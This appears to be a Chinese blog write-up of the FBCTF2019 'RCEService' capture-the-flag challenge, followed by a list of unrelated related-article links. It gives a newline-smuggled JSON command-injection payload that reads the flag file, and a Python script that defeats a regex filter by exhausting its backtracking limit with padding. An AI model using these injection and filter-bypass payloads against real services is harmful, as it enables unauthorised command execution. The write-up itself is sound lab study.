当前位置: 首页 > news >正文

[FBCTF2019]RCEService1

打开题目

它给出了提示要求json格式,先尝试一下{"cmd":"ls"} 

的确可以执行。接下来就记录过滤了那些关键字。发现键盘上有的特殊符号好像都被过滤。

flag在home目录下,不知道为什么find命令返回为空。。。

cat在这里仍然不能用。应该是环境变量配置被改变,所以需要使用/bin/cat调用命令

{%0a"cmd":"/bin/cat%20/home/rceservice/flag"%0A}

利用回溯次数绕过 ,post请求

gei请求会因为头太大而报错

代码:

import requests
 
payload = '{"cmd":"/bin/cat /home/rceservice/flag ","nayi":"' + "a"*(1000000) + '"}' #超过一百万,这里写一千万不会出结果。
 
res = requests.post("ip", data={"cmd":payload})
print(res.text)

python里面运行出结果

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Redis7-分布式锁
  • 嵌入式学习Day30---Linux软件编程---进程间的通信
  • 网络通信(TCP/UDP协议 三次握手四次挥手 )
  • Webpack Bundle Analysis:减少包体积的技巧
  • Linux——进程(2)
  • IO多路复用—前言
  • 【OneAPI】中国行政区域省市县编码查询
  • 集成学习:融合多个模型
  • 负载均衡之HAProxy超全内容!!!
  • SDL 与 OpenGL 的关系
  • Vue3学习 Day01
  • 张量补充 2 (补充ing)
  • WPF使用LibVLC.WPF进行本地视频文件播放
  • 【CTF | WEB】003、攻防世界WEB题目之xff_referer
  • 设计模式-享元模式
  • 【许晓笛】 EOS 智能合约案例解析(3)
  • HTTP中GET与POST的区别 99%的错误认识
  • Python实现BT种子转化为磁力链接【实战】
  • VirtualBox 安装过程中出现 Running VMs found 错误的解决过程
  • Vue 动态创建 component
  • vue2.0开发聊天程序(四) 完整体验一次Vue开发(下)
  • 从PHP迁移至Golang - 基础篇
  • 个人博客开发系列:评论功能之GitHub账号OAuth授权
  • 前端代码风格自动化系列(二)之Commitlint
  • 如何胜任知名企业的商业数据分析师?
  • 事件委托的小应用
  • 写代码的正确姿势
  • 译有关态射的一切
  • 7行Python代码的人脸识别
  • 如何通过报表单元格右键控制报表跳转到不同链接地址 ...
  • ​二进制运算符:(与运算)、|(或运算)、~(取反运算)、^(异或运算)、位移运算符​
  • #使用清华镜像源 安装/更新 指定版本tensorflow
  • #我与Java虚拟机的故事#连载11: JVM学习之路
  • %3cli%3e连接html页面,html+canvas实现屏幕截取
  • (20)docke容器
  • (PWM呼吸灯)合泰开发板HT66F2390-----点灯大师
  • (Redis使用系列) Springboot 使用Redis+Session实现Session共享 ,简单的单点登录 五
  • (附源码)springboot课程在线考试系统 毕业设计 655127
  • (机器学习的矩阵)(向量、矩阵与多元线性回归)
  • (免费领源码)Python#MySQL图书馆管理系统071718-计算机毕业设计项目选题推荐
  • (十二)python网络爬虫(理论+实战)——实战:使用BeautfulSoup解析baidu热搜新闻数据
  • (数据大屏)(Hadoop)基于SSM框架的学院校友管理系统的设计与实现+文档
  • (转)EOS中账户、钱包和密钥的关系
  • (转)德国人的记事本
  • (转)平衡树
  • .FileZilla的使用和主动模式被动模式介绍
  • .MyFile@waifu.club.wis.mkp勒索病毒数据怎么处理|数据解密恢复
  • .net Application的目录
  • .net framework profiles /.net framework 配置
  • .NET 除了用 Task 之外,如何自己写一个可以 await 的对象?
  • .NET 线程 Thread 进程 Process、线程池 pool、Invoke、begininvoke、异步回调
  • .NET_WebForm_layui控件使用及与webform联合使用
  • .NET连接MongoDB数据库实例教程
  • .NET学习教程二——.net基础定义+VS常用设置
  • .NET学习全景图